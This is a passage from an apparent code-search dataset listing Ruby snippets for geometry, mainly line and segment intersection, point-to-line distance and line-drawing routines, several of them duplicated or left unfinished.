l2.a * l1.b\n det = det\n x = (l1.b * l2.c - l1.c * l2.b) / det\n y = (l2.a * l1.c - l2.c * l1.a ) / det\n\n intersection_point = Point.new(x, y)\n\n # if we're both lines, we can skip a containment check\n return [intersection_point] if self.is_a?(Line) && other.is_a?(Line)\n \n if self.contains?(intersection_point) && other.contains?(intersection_point)\n return [intersection_point] \n end\n \n return []\n else\n # we're skew\n return []\n end\n end\n\n if other.respond_to?(:intersection)\n return other.intersection(self)\n end\n\n raise TypeError, \"Intersection between LinearEntity and #{ other.class } is not defined\"\n end", "def intersection_point(segment)\n # numerator = (line.point1.y - point1.y) * (line.point1.x - line.point2.x) -\n # (line.point1.y - line.point2.y) * (line.point1.x - point1.x)\n # denominator = (point2.y - point1.y) * (line.point1.x - line.point2.x) -\n # (line.point1.y - line.point2.y) * (point2.x - point1.x)\n #\n # t = numerator.to_f / denominator\n #\n # x = point1.x + t * (point2.x - point1.x)\n # y = point1.y + t * (point2.y - point1.y)\n #\n # Point.new(x, y)\n\n x1, y1, x2, y2 = point1.x, point1.y, point2.x, point2.y\n x3, y3, x4, y4 = segment.point1.x, segment.point1.y, segment.point2.x, segment.point2.y\n\n x12 = x1 - x2\n x34 = x3 - x4\n y12 = y1 - y2\n y34 = y3 - y4\n\n c = x12 * y34 - y12 * x34\n\n raise Exception.new('Segments are parallel.') if c.zero?\n\n a = x1 * y2 - y1 * x2\n b = x3 * y4 - y3 * x4\n\n x = (a * x34 - b * x12) / c\n y = (a * y34 - b * y12) / c\n\n Point.new(x, y)\n end", "def intersect point1, point2, a1, b1, x1, x2\n a2 = (point2.latitude - point1.latitude)/(point2.longitude-point1.longitude)\n b2 = point1.latitude - a2*point1.longitude\n x = (b2-b1)/(a1-a2)\n x3 = point1.longitude < point2.longitude ? point1.longitude : point2.longitude\n x4 = point1.longitude > point2.longitude ? point1.longitude : point2.longitude\n x >= x1 && x <= x2 && x >= x3 && x <= x4\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def two_points_to_line(x1,y1,x2,y2)\n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def intersection( to )\n cp = self.pos.to_gpos\n\n line = cp.to_vec( to )\n uline = line.unit\n radius = uline * size.x\n\n ( cp.to_vec + radius ).to_gpos\n end", "def two_points_to_line(x1,y1,x2,y2)\n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def intersection_segment(pt1, pt2, pt3, pt4)\n pt = intersection(pt1, pt2, pt3, pt4)\n \n segment_length = pt3.dist_to(pt4)\n \n dist3 = pt.dist_to(pt3)\n dist4 = pt.dist_to(pt4)\n \n if dist3 + dist4 == segment_length\n pt\n else\n nil\n end\n \n # slope = pt4.slope_to(pt3)\n # \n # y1 = pt.x * slope + pt3.y\n # y2 = pt.x * slope + pt4.y\n # \n # y1 == pt.y or y2 == pt.y\n end", "def two_points_to_line(x1,y1,x2,y2) \n if real_close(x1,x2)\n VerticalLine.new x1\n else\n m = (y2 - y1).to_f / (x2 - x1)\n b = y1 - m * x1\n Line.new(m,b)\n end\n end", "def line_point_distance(line_start, line_end, point)\n top = ((line_end.y - line_start.y) * point.x) -\n ((line_end.x - line_start.x) * point.y) +\n (line_end.x * line_start.y) - \n (line_end.y * line_start.x)\n bottom = ((line_end.y - line_start.y) ** 2 +\n (line_end.x - line_start.x) ** 2) ** 0.5\n return (top / bottom).abs\n end", "def segment_intersection(seg1, seg2)\n x1, y1, x2, y2 = seg1\n x3, y3, x4, y4 = seg2\n line1 = segment_to_line(*seg1)\n line2 = segment_to_line(*seg2)\n\n xmin = [[x1, x2].min, [x3, x4].min].max\n xmax = [[x1, x2].max, [x3, x4].max].min\n ymin = [[y1, y2].min, [y3, y4].min].max\n ymax = [[y1, y2].max, [y3, y4].max].min\n\n x, y = line_intersection(line1, line2)\n return nil unless x && y\n\n if x >= xmin && x <= xmax && y >= ymin && y <= ymax\n return [x, y]\n end\n\n nil\n end", "def bbpLineIntersect(point_a, point_b, point_c, point_d, hit_point, second_hit_point)\n\n rise 'Method not implemented'\n end", "def intersection( to )\n cp = self.pos.to_gpos\n sp = self.size.to_gpos\n line = cp.to_vec( to )\n\n n = line.rad\n a = sp.x\n b = sp.y\n\n div = Math.sqrt( ( b*Math.cos(n) ) ** 2 + ( a*Math.sin(n) ) ** 2 )\n px = ( a * b * Math.cos(n) ) / div\n py = ( a * b * Math.sin(n) ) / div\n\n cp.to_vec + Gvec[ px, py ]\n end", "def distance_from_line(point_a,point_b)\n \n # Define the line as the vector between two points\n line_vector = point_b - point_a\n\n # Define a second vector representing the distance between self and the line start\n point_vector = self - point_a\n\n # The magnitude of the cross product is equal to the area of the parallelogram described\n # by the two vectors. Dividing by the line length gives the perpendicular distance.\n (line_vector.cross(point_vector).magnitude / line_vector.magnitude).abs\n end", "def find_edge_intersecting_with_line(poly_verts, line_start, line_end)\n count = poly_verts.count\n\n poly_verts.each_with_index do |face_start, i|\n face_end = poly_verts[(i+1) % count]\n\n contact_loc = line_line_intersection(face_start, face_end, line_start, line_end)\n\n if contact_loc\n edge = Edge.new(face_start, face_end)\n edge.contact_loc = contact_loc\n return edge\n end\n end\n\n nil\n end", "def segment_to_line(x1, y1, x2, y2)\n raise 'Need two distinct points to define a segment' if x1 == x2 && y1 == y2\n\n # Vertical/horizontal/oblique lines\n if y1 == y2\n [0.0, 1.0, y1]\n elsif x1 == x2\n [1.0, 0.0, x1]\n else\n [y1 - y2, x2 - x1, x2 * y1 - x1 * y2]\n end\n end", "def distance_from_line_segment(point_a,point_b)\n\n # Define the line as the vector between two points\n line_vector = point_b - point_a\n \n # Define a second vector representing the distance between self and the line start\n point_vector = self - point_a\n\n # Determine if self falls within the perpendicular 'shadow' of the line by calculating\n # the projection of the point vector onto the line.\n #\n # The dot product divided by the magnitude of the line gives the absolute projection\n # of the point vector onto the line.\n #\n # Dividing again by the line magnitude gives the relative projection along the line, \n # i.e. the ratio of the projection to the line. Values between 0-1 indicate that the\n # point falls within the perpendicular shadow.\n #\n projection_ratio = line_vector.dot(point_vector) / line_vector.magnitude ** 2\n\n if projection_ratio >= 1\n # The point is beyond point b, calculate distance to point b\n distance = (point_b - self).magnitude\n elsif projection_ratio <= 0\n # The point is beyond point a, calculate distance to point a\n distance = (point_a - self).magnitude\n else\n # The point is in the shadow of the line, return the perpendicular distance\n distance = line_vector.cross(point_vector).magnitude / line_vector.magnitude\n end\n\n return distance.abs\n end", "def get_intersection_point point_a, point_b, point_c, point_d\n x_a, y_a = point_a.get_x, point_a.get_y\n x_b, y_b = point_b.get_x, point_b.get_y\n x_c, y_c = point_c.get_x, point_c.get_y\n x_d, y_d = point_d.get_x, point_d.get_y\n\n inter_x = x_c + (((((y_c-y_a)*(x_b-x_a)) - ((x_c-x_a)*(y_b-y_a))) / (((x_d-x_c)*(y_b-y_a)) - ((y_d-y_c)*(x_b-x_a)))) * (x_d-x_c))\n inter_y = y_c + (((((y_c-y_a)*(x_b-x_a)) - ((x_c-x_a)*(y_b-y_a))) / (((x_d-x_c)*(y_b-y_a)) - ((y_d-y_c)*(x_b-x_a)))) * (y_d-y_c))\n\n return Point2D::Double.new inter_x, inter_y\n end", "def intersect(p1, v2, p2)\n # If this vector and v2 doesn't intersect, return early.\n return :no_intersect unless intersect?(p1, v2, p2)\n\n # Calculate t2\n # x1 + a1 * t1 = x2 + a2 * t2\n # t1 = (x1 + a2 * t2 + x2) / a1\n # y1 + b1 * (x1 + a2 * x + x2) / a1 = y2 + b2 * x\n # t2 = (a1 * y1 - a1 * y2 + b1 * x1 + b1 * x2) / (a1 * b2 - a2 * b1)\n t2 = (to_a[0] * p1.y - to_a[0] * p2.y + to_a[1] * p1.x + to_a[1] * p2.x) /\n (to_a[0] * v2.to_a[1] - v2.to_a[0] * to_a[1])\n\n # Use t2 to calculate the intersection\n [\n p2.x + v2.to_a[0] * t2,\n p2.y + v2.to_a[1] * t2,\n p2.z + v2.to_a[2] * t2,\n ]\n end", "def find_intersection_point_with(segment)\n denominator = ((segment.p2.y - segment.p1.y)*(p2.x - p1.x)) - \n ((segment.p2.x - segment.p1.x)*(p2.y - p1.y))\n\n numerator_a = ((segment.p2.x - segment.p1.x)*(p1.y - segment.p1.y)) - \n ((segment.p2.y - segment.p1.y)*(p1.x - segment.p1.x))\n\n numerator_b = ((p2.x - p1.x)*(p1.y - segment.p1.y)) - \n ((p2.y - p1.y)*(p1.x - segment.p1.x))\n\n if denominator == 0.0\n if numerator_a == 0.0 && numerator_b == 0.0\n # 'COINCIDENT'\n return nil\n end\n # 'PARALLEL'\n return nil\n end\n\n ua = numerator_a/denominator\n ub = numerator_b/denominator\n\n # An intersection point exists, given the following conditions\n \n if ua >= 0.0 && ua <= 1.0 && ub >= 0.0 && ub <= 1.0\n x = point1.x + ua*(p2.x - p1.x)\n y = point1.y + ua*(p2.y - p1.y)\n\n return Point.new(x, y)\n end\n \n # 'NOT_INTERESECTING'\n return nil\n end", "def intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n dx, dy = bx - ax, by - ay\n ex, ey = px - ix, py - iy\n denominator = (dx*ey) - (dy*ex)\n return 0 if denominator == 0\n t = (ix*ey + ex*ay - ax*ey - ex*iy) / denominator\n return 0 if t < 0 || t >= 1\n u = (dx*ay - dx*iy - dy*ax + dy*ix) / denominator\n return 0 if u < 0 || u >= 1\n return 1\n end", "def get_intersecting_line entity, connnectLine\n entity_x = entity.get_x\n entity_y = entity.get_y\n\n edges = []\n\n #Top edge\n edges << (Line2D::Double.new entity_x, entity_y, entity_x + ENTITY_WIDTH, entity_y)\n #Bottom edge\n edges << (Line2D::Double.new entity_x, entity_y + ENTITY_HEIGHT, entity_x + ENTITY_WIDTH, entity_y + ENTITY_HEIGHT)\n #Left edge\n edges << (Line2D::Double.new entity_x, entity_y, entity_x, entity_y + ENTITY_HEIGHT)\n #Right edge\n edges << (Line2D::Double.new entity_x + ENTITY_WIDTH, entity_y, entity_x + ENTITY_WIDTH, entity_y + ENTITY_HEIGHT)\n\n edges.each do |e|\n return e if connnectLine.intersects_line e\n end\n\n end", "def intersection( to )\n\n # Bullet line between box center and to-point.\n bline = Gseg.new( self.pos.to_gpos, to )\n\n # Find which side of self intersects with bline.\n side = nil\n [ :r, :l, :u, :d ].each do |sidesym|\n trial = self.sideline_seg( sidesym )\n if trial.intersects_with?( bline )\n side = trial\n break\n end\n end\n\n side.intersection_point_with( bline )\n end", "def line_line_intersect(pt_intersect, new_list, seg, new_seg)\n\n new_list << LineSeg.new(seg.pt1, pt_intersect)\n new_list << LineSeg.new(pt_intersect, seg.pt2)\n\n return [LineSeg.new(new_seg.pt1, pt_intersect), LineSeg.new(pt_intersect, new_seg.pt2)]\n\n end", "def get_line(x0,x1,y0,y1)\n points = []\n steep = ((y1-y0).abs) > ((x1-x0).abs)\n if steep\n x0,y0 = y0,x0\n x1,y1 = y1,x1\n end\n if x0 > x1\n x0,x1 = x1,x0\n y0,y1 = y1,y0\n end\n deltax = x1-x0\n deltay = (y1-y0).abs\n error = (deltax / 2).to_i\n y = y0\n ystep = nil\n if y0 < y1\n ystep = 1\n else\n ystep = -1\n end\n for x in x0..x1\n if steep\n points << {:x => y, :y => x}\n else\n points << {:x => x, :y => y}\n end\n error -= deltay\n if error < 0\n y += ystep\n error += deltax\n end\n end\n return points\nend", "def lineIntersects _args\n \"lineIntersects _args;\" \n end", "def intersectPoint p\n if real_close_point(x,y,p.x,p.y) then self\n else NoPoints.new\n end\n end", "def intersection(another_segment)\n return TestHalfEdge.he_intersection(@start,@ending,another_segment.start,\n another_segment.ending)\n end", "def points_on_a_line(x0, y0, x1, y1)\n raise NotImplementedError\n dx = (x1 - x0).abs\n dy = -(y1 - y0).abs\n step_x = x0 < x1 ? 1 : -1\n step_y = y0 < y1 ? 1 : -1\n err = dx + dy\n coords = Array.new\n coords << [x0, y0]\n (\n begin\n e2 = 2 * err\n\n if e2 >= dy\n err += dy\n x0 += step_x\n end\n\n if e2 <= dx\n err += dx\n y0 += step_y\n end\n\n coords << [x0, y0]\n end\n\n ) until (x0 == x1 && y0 == y1)\n coords\n end", "def get_line(x0,x1,y0,y1)\n \t\tpoints = []\n\t\tsteep = ((y1-y0).abs) > ((x1-x0).abs)\n\t\tif steep then\n\t\t\tx0,y0 = y0,x0\n\t\t\tx1,y1 = y1,x1\n\t\tend\n\t\tif x0 > x1\n\t\t\tx0,x1 = x1,x0\n\t\t\ty0,y1 = y1,y0\n\t\tend\n\t\tdeltax = x1-x0\n\t\tdeltay = (y1-y0).abs\n\t\terror = (deltax / 2).to_i\n\t\ty = y0\n\t\tystep = nil\n\t\tif y0 < y1 then\n\t\t\tystep = 1\n\t\telse\n\t\t\tystep = -1\n\t\tend\n\t\tfor x in x0..x1\n\t\t\tif steep then\n\t\t\t\tpoints << {:x => y, :y => x}\n\t\t\telse\n\t\t\t\tpoints << {:x => x, :y => y}\n\t\t\tend\n\t\t\terror -= deltay\n\t\t\tif error < 0 then\n\t\t\t\ty += ystep\n\t\t\t\terror += deltax\n\t\t\tend\n\t\tend\n\t\treturn points\n\tend", "def is_on_line?(line)\n to_a.zip(line.point.to_a, line.vector.to_a).map { |a, b, c| (a - b) / c }.uniq.length == 1\n end", "def intersection(lat, lng, r)\n \n # Convert degrees to meters\n x1 = Segment.length([lat, lng], [lat, @a[1]]) # lng\n x1 *= -1 if lng > @a[1]\n\n y1 = Segment.length([lat, lng], [@a[0], lng]) # lat\n y1 *= -1 if lat > @a[0]\n \n x2 = Segment.length([lat, lng], [lat, @b[1]]) # lng\n x2 *= -1 if lng > @b[1]\n\n y2 = Segment.length([lat, lng], [@b[0], lng]) # lat\n y2 *= -1 if lat > @b[0]\n \n # Circle equation: lat**2 + lng**2 = r**2\n # Segment equation: lat = y1 + (lng-x1)/(x2-x1) * (y2-y1)\n # See also: http://mathworld.wolfram.com/Circle-LineIntersection.html\n \n dx = x2 - x1\n dy = y2 - y1\n dr = Math.sqrt(dx**2 + dy**2) # Caution: this is estimation\n d = x1*y2 - x2*y1 \n delta = r**2 * dr**2 - d**2 \n\n sgn = lambda{ |x| x < 0 ? -1 : 1 }\n coordinates = lambda do |sign|\n x = (d*dy + sign * sgn[dy] * dx * Math.sqrt(delta)) / dr**2\n y = (-d*dx + sign * dy.abs * Math.sqrt(delta)) / dr**2\n\n intersection_lat = 180*y / (Math::PI * R) + lat\n intersection_lng = x / ( Math.cos(intersection_lat*Rad)*R) * (180/Math::PI) + lng\n \n [intersection_lat, intersection_lng] if (@a[1]..@b[1]).include?(intersection_lng) || (@b[1]..@a[1]).include?(intersection_lng) and\n (@a[0]..@b[0]).include?(intersection_lat) || (@b[0]..@a[0]).include?(intersection_lat)\n end\n \n if delta > 0\n # Return closest point (to point @a) of two\n [-1, 1].map{ |sign| coordinates[sign] }.compact.sort_by{|x,y| y }.first\n elsif delta == 0\n # Tangent line: only one point\n coordinates[0]\n else\n # No intersecting points\n nil\n end\n end", "def intersection(other)\n if other.is_a?(Point)\n return points_intersection(self, other)\n end\n\n if other.respond_to?(:intersection)\n return other.intersection(self)\n end\n\n raise TypeError, \"Intersection between Point and #{ other.class } is not defined\"\n end", "def line x0, y0, x1, y1, c\n dx = (x1 - x0).abs\n sx = x0 < x1 ? 1 : -1\n dy = (y1 - y0).abs\n sy = y0 < y1 ? 1 : -1\n err = (dx > dy ? dx : -dy) / 2\n \n loop do\n set x0, y0, c\n break if x0 === x1 && y0 === y1\n e2 = err\n if e2 > -dx\n err -= dy\n x0 += sx\n end \n if e2 < dy\n err += dx\n y0 += sy \n end\n end \n end", "def test_add_intersection\n # Intersection at (1,1)\n canon = CanonicalLineSegList.new\n canon.add(LineSeg.new(p(0,0), p(2,2)))\n canon.add(LineSeg.new(p(0,2), p(2,0)))\n assert_equal(4, canon.line_segs.size)\n expect(canon, \n [\n LineSeg.new(p(0,0), p(1,1)), LineSeg.new(p(1,1), p(2,2)),\n LineSeg.new(p(0,2), p(1,1)), LineSeg.new(p(1,1), p(2,0))\n ]\n )\n \n end", "def distance_of_point_to_line(point, line, point_on_line)\n (point - point_on_line).dot((line).normal_unit).abs\n end", "def midpoint\n Point.new((x1 + x2) / 2, (y1 + y2) / 2)\n end", "def add_line(point1, point2)\n end", "def line(x0, y0, x1, y1)\n # clean params\n x0, y0, x1, y1 = x0.to_i, y0.to_i, x1.to_i, y1.to_i\n y0, y1, x0, x1 = y1, y0, x1, x0 if y0>y1\n sx = (dx = x1-x0) < 0 ? -1 : 1 ; dx *= sx ; dy = y1-y0\n\n # special cases\n x0.step(x1,sx) { |x| point x, y0 } and return if dy.zero?\n y0.upto(y1) { |y| point x0, y } and return if dx.zero?\n x0.step(x1,sx) { |x| point x, y0; y0 += 1 } and return if dx==dy\n\n # main loops\n point x0, y0\n\n e_acc = 0\n if dy > dx\n e = (dx << 16) / dy\n y0.upto(y1-1) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n x0 += sx if (e_acc <= e_acc_temp)\n point x0, (y0 += 1), intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0+sx, y0, intensity(@color,(0xFF-w))\n end\n point x1, y1\n return\n end\n\n e = (dy << 16) / dx\n x0.step(x1-sx,sx) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n y0 += 1 if (e_acc <= e_acc_temp)\n point (x0 += sx), y0, intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0, y0+1, intensity(@color,(0xFF-w))\n end\n point x1, y1\n end", "def normalizeLine(c1,c2)\n x = c2[0] - c1[0]\n y = c2[1] - c1[1]\n\n # make sure we didn't wrap one way or the other.\n # taking the shortest great circle distance.\n x = x <= -180 ? x + 360 : x\n x = x >= 180 ? x - 360 : x\n return [[0,0],[x,y]]\n end", "def get_intersection\n end", "def line_angle(p1,p2)\n v1 = RBA::DPoint.new(1,0)\n v2 = p2-p1\n return vector_angle(v1,v2)\n end", "def line(a, b)\n return [a] if a == b\n a = offset_to_cube a\n b = offset_to_cube b\n n = cube_distance a, b\n (0..n).each_with_object([]) do |i, results|\n cube_coords = cube_round cube_lerp(a, b, 1.0 / n * i)\n results << cube_to_offset(cube_coords)\n end\n end", "def distance_to_line(a, b, c, x, y)\n # Using -c instead of +c due to moving C across the equals sign\n (a * x + b * y - c).abs.to_f / Math.sqrt(a * a + b * b)\n end", "def intersection(other)\n intersection_result = []\n \n if other.is_a?(Polygon) \n k = other.sides \n else \n k = [other]\n end\n\n self.sides.each do |side|\n k.each do |side1|\n intersection_result += side.intersection(side1)\n end\n end\n\n intersection_result.uniq! do |a|\n if a.is_a?(Point)\n [a.x, a.y]\n else\n [a.p1, a.p2].sort_by {|p| [p.x, p.y]} \n end\n end\n points = []; segments = []\n\n intersection_result.each do |entity|\n points << entity if entity.is_a?(Point)\n segments << entity if entity.is_a?(Segment)\n end\n\n if !points.empty? && !segments.empty?\n points_in_segments = []\n\n points.each do |point|\n segments.each do |segment|\n points_in_segments << point if segment.contains?(point)\n end\n end\n\n points_in_segments.uniq! {|a| [a.x, a.y]}\n if !points_in_segments.empty?\n points_in_segments.each do |p|\n points.delete(p)\n end\n end\n\n return points.sort + segments.sort\n end\n\n return intersection_result.sort\n end", "def calculate_points(lines)\n points = lines.map do |line|\n if line.p1.x == line.p2.x\n ys = Range.new(*[line.p1.y, line.p2.y].sort).to_a\n xs = [line.p1.x] * ys.size\n elsif line.p1.y == line.p2.y\n xs = Range.new(*[line.p1.x, line.p2.x].sort).to_a\n ys = [line.p1.y] * xs.size\n else\n # Diagonal line\n # Sort by x axis\n p1, p2 = [line.p1, line.p2].sort_by(&:x)\n xs = Range.new(*[p1.x, p2.x]).to_a\n if p1.y > p2.y \n # negative slope (reverse so we can still use range)\n ys = Range.new(*[p2.y, p1.y]).to_a.reverse\n else\n # positive slope\n ys = Range.new(*[p1.y, p2.y]).to_a\n end\n end\n xs.zip(ys).map { |c| Point.new(*c) }\n end\nend", "def rec_intersection(rect1, rect2)\n\tx_min = [rect1[0][0],rect2[0][0]].max \n\tx_max = [rect1[1][0],rect2[1][0]].min \n\ty_min = [rect1[0][1],rect2[0][1]].max \n\ty_max = [rect1[1][1],rect2[1][1]].min \n\n\t(x_max < x_min) || (y_max < y_min) ? nil : [[x_min, y_min], [x_max, y_max]]\nend", "def lineIntersectsWith _args\n \"lineIntersectsWith _args;\" \n end", "def mid\n mid_of_x = (@p2.x - @p1.x) / 2 + @p1.x\n mid_of_y = (@p2.y - @p1.y) / 2 + @p1.y\n BPoint.new(mid_of_x, mid_of_y)\n end", "def points_of_intersection(other)\n return false unless intersects? other\n p0 = center\n p1 = other.center\n p2 = intersection_center other\n h = height other\n d = center.distance other.center\n\n x3 = p2.x + h*(p1.y - p0.y)/d\n y3 = p2.y - h*(p1.x - p0.x)/d\n x4 = p2.x - h*(p1.y - p0.y)/d\n y4 = p2.y + h*(p1.x - p0.x)/d\n\n [Point.new(x: x3, y: y3), Point.new(x: x4, y: y4)]\n end", "def line x1, y1, x2, y2, c\n h = self.h\n screen.draw_line x1, h-y1, x2, h-y2, color[c], :antialiased\n end", "def intersectNoPoints np\n np # could also have NoPoints.new here instead\n end", "def intersectNoPoints np\n np # could also have NoPoints.new here instead\n end", "def intersectNoPoints np\n np # could also have NoPoints.new here instead\n end", "def segments_intersection(a, b, c, d)\n denominator = (b.y - a.y)*(d.x - c.x) - (a.x - b.x)*(c.y - d.y) \n return false if denominator == 0\n x = ( (b.x - a.x) * (d.x - c.x) * (c.y - a.y) + (b.y - a.y) * (d.x - c.x) * a.x - (d.y - c.y) * (b.x - a.x) * c.x ) / denominator\n y = -( (b.y - a.y) * (d.y - c.y) * (c.x - a.x) + (b.x - a.x) * (d.y - c.y) * a.y - (d.x - c.x) * (b.y - a.y) * c.y ) / denominator\n if (x - a.x) * (x - b.x) <= 0 && (y - a.y) * (y - b.y) <= 0 && (x - c.x) * (x - d.x) <= 0 && (y - c.y) * (y - d.y) <= 0 \n return true\n else\n return false\n end\n end", "def getNormalPoint(p, a, b) \n # Vector from a to p\n ap = PVector.sub(p,a)\n # Vector from a to b\n ab = PVector.sub(b,a)\n ab.normalize # Normalize the line\n # Project vector \"diff\" onto line by using the dot product\n ab.mult(ap.dot(ab))\n normalPoint = PVector.add(a,ab)\n return normalPoint\n end", "def hline(x1, x2, y, c)\n x1, x2, y = x1.to_i, x2.to_i, y.to_i\n\n unless self.bounds?(x1, y) && self.bounds?(x2, y)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n (x1..x2).each {|x| self[y, x] = c}\n end", "def calc_slope(x1, y1, x2, y2)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n if (y1 == y2)\r\n return 0\r\n end #if\r\n dy = (y2 - y1) * 1.0\r\n dx = (x2 - x1) * 1.0\r\n slope = dx / dy\r\n return slope\r\nend", "def rec_intersection(rect1, rect2)\n x1 = [rect1[0][0],rect2[0][0]].max\n y1 = [rect1[0][1],rect2[0][1]].max\n y2 = [rect2[1][1],rect1[1][1]].min\n x2 = [rect2[1][0],rect1[1][0]].min\n if rect2[0][0] > rect1[1][0] || rect2[0][1] > rect1[1][1]\n return nil\n else\n return [[x1,y1],[x2,y2]]\n end\nend", "def line(x, y)\n [x.value, y.value]\n end", "def lineIntersectsObjs _args\n \"lineIntersectsObjs _args;\" \n end", "def rec_intersection(rect1, rect2)\n bot_x, bot_y = [rect1[0][0], rect2[0][0]].max, [rect1[0][1], rect2[0][1]].max\n top_x, top_y = [rect1[1][0], rect2[1][0]].min, [rect1[1][1], rect2[1][1]].min\n return nil if bot_x > top_x || bot_y > top_y\n [[bot_x, bot_y], [top_x, top_y]]\nend", "def draw_line(p1, p2)\n xs = arrange(p1.first, p2.first)\n ys = arrange(p1.last, p2.last)\n\n xs = xs * ys.size if ys.size > xs.size\n ys = ys * xs.size if xs.size > ys.size\n\n xs.zip(ys).each{|point| draw(point) }\n end", "def line(canvas, p1, p2, color)\n canvas.line(\n clamp(p1[0].round, 0, canvas.width-1),\n clamp(p1[1].round, 0, canvas.height-1),\n clamp(p2[0].round, 0, canvas.width-1),\n clamp(p2[1].round, 0, canvas.height-1),\n color)\n end", "def intersectNoPoints np\n np # could also have NoPoints.new here instead\n end", "def intersectNoPoints np\n np # could also have NoPoints.new here instead\n end", "def intersection_chk (x1, y1, x2, y2, center_x, center_y, radius)\n\n\t#check if the circle is in the bounding box rounded by sw_x, sw_y, ne_x, ne_y (southwest point and northeast point)\n\tif x1 < x2\n\t\tsw_x = x1\n\t\tne_x = x2\n\telse\n\t\tsw_x = x2\n\t\tne_x = x1\n\tend\n\n\tif y1 < y2\n\t\tsw_y = y1\n\t\tne_y = y2\n\telse\n\t\tsw_y = y2\n\t\tne_y = y1\n\tend\n\tsw_x = sw_x - radius\n\tsw_y = sw_y - radius\n\tne_x = ne_x + radius\n\tne_y = ne_y + radius\n\n\tif center_x > ne_x || center_x < sw_x || center_y > ne_y || center_y < sw_y\n\t\treturn -1\n\tend\n\n\t#offset the center to 0,0\n\tx1_ = x1 - center_x\n\ty1_ = y1 - center_y\n\tx2_ = x2 - center_x\n\ty2_ = y2 - center_y\n\n\t#check for intersection\n\tdx = x2_ - x1_\n\tdy = y2_ - y1_\n\tdr = Math.sqrt(dx*dx + dy*dy)\n\td = x1_*y2_ - x2_*y1_\n\tresult = radius*radius*dr*dr - (d*d)\n\tif result < 0\n\t\treturn -1\n\telse\n\t\treturn Math.sqrt(((center_x - x1)*(center_x - x1) + (center_y - y1)*(center_y - y1)).abs)\n\tend\nend", "def wherecrossing(pt1,pt2, theface)\r\n line = [pt1, pt2]\r\n theface.loops.each { |loop|\r\n edges = loop.edges\r\n edges.each { |e| #check each edge to see if it intersects line inside the edge\r\n l2 = [e.vertices[0].position, e.vertices[1].position] # make a line\r\n point = Geom.intersect_line_line(line, e.vertices) # find intersection\r\n if (point != nil)\r\n online1 = isonline(point, line[0], line[1]) # is the point on the line\r\n online2 = isonline(point, e.vertices[0].position, e.vertices[1].position) # is the point on the edge\r\n #ent.add_cpoint(point) if (online1 and online2)\r\n #puts \"online1 #{online1} #{online2}\"\r\n return point if (online1 and online2)\r\n # if (online1 and online2) then we can return true here, no need to process more\r\n end\r\n } # edges.each\r\n } # loops.each\r\n return nil\r\n end", "def cross(v1, v2)\n dx, dy = v2[0] - v1[0], v2[1] - v1[1]\n cr = [] # array containing intersections\n\n if dx == 0 and dy ==0 then\n\tnc = 0\n elsif dx == 0 then\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n elsif dy == 0 then\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n else\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy \n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n end\n return cr\n end", "def terminus_line_intersect(pt_intersect, new_list, seg, new_seg)\n\n # Is the intersect at one of +new_seg+ terminii?\n # If so, split +seg+ into two segs at pt_intersect.\n if pt_intersect == new_seg.pt1 || pt_intersect == new_seg.pt2\n new_list << LineSeg.new(seg.pt1, pt_intersect)\n new_list << LineSeg.new(pt_intersect, seg.pt2)\n return []\n end\n\n # Does a +seg+ terminus lie along *new_seg+?\n #\n # If so, add +seg+ to the +new_list+ and return the two part of the slit +new_seg+\n if pt_intersect == seg.pt1 || pt_intersect == seg.pt2\n new_list << seg\n return [LineSeg.new(new_seg.pt1, pt_intersect), LineSeg.new(pt_intersect, new_seg.pt2)]\n end\n\n return nil\n end", "def vline(x, y1, y2, c)\n x, y1, y2 = x.to_i, y1.to_i, y2.to_i\n\n unless self.bounds?(x, y1) && self.bounds?(x, y2)\n puts \"ERR: Coordinates out of bounds\"\n 